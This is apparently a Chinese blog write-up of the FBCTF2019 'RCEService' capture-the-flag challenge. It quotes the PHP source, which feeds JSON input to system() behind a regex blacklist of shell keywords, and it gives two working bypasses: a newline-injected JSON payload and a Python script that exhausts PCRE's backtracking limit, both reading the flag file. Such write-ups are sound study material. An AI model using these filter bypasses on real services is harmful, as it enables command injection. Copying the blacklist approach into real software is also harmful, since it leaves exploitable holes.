[FBCTF2019]RCEService

题目场景：

试试{"cmd" : "ls"}

再试试{"cmd" : "cat /flag"}

题目源码

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

解法一：

preg_match()函数，只能匹配一行，所以用换行符%0a
payload:
{%0A"cmd": "ls /"%0A}

源码里有putenv('PATH=/home/rceservice/jail');
看看这个目录里有什么
{%0a"cmd" : "ls /home/rceservice"%0a}

找到flag所在的目录
没有cat命令，用/bin/cat代替

{%0a"cmd" : "/bin/cat /home/rceservice/flag"%0a}

解法二

p神的文章
PHP利用PCRE回溯次数限制绕过某些安全限制

脚本：

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'
res = requests.post("http://6f8c42c1-9076-48e0-9392-6fb25a7403fe.node3.buuoj.cn/", data={"cmd":payload})
print(res.text)

参考：
https://mochu.blog.csdn.net/article/details/105151353

标签：cmd,flag,RCEService,echo,json,0a,FBCTF2019,cat
来源： https://blog.csdn.net/fmyyy1/article/details/115285829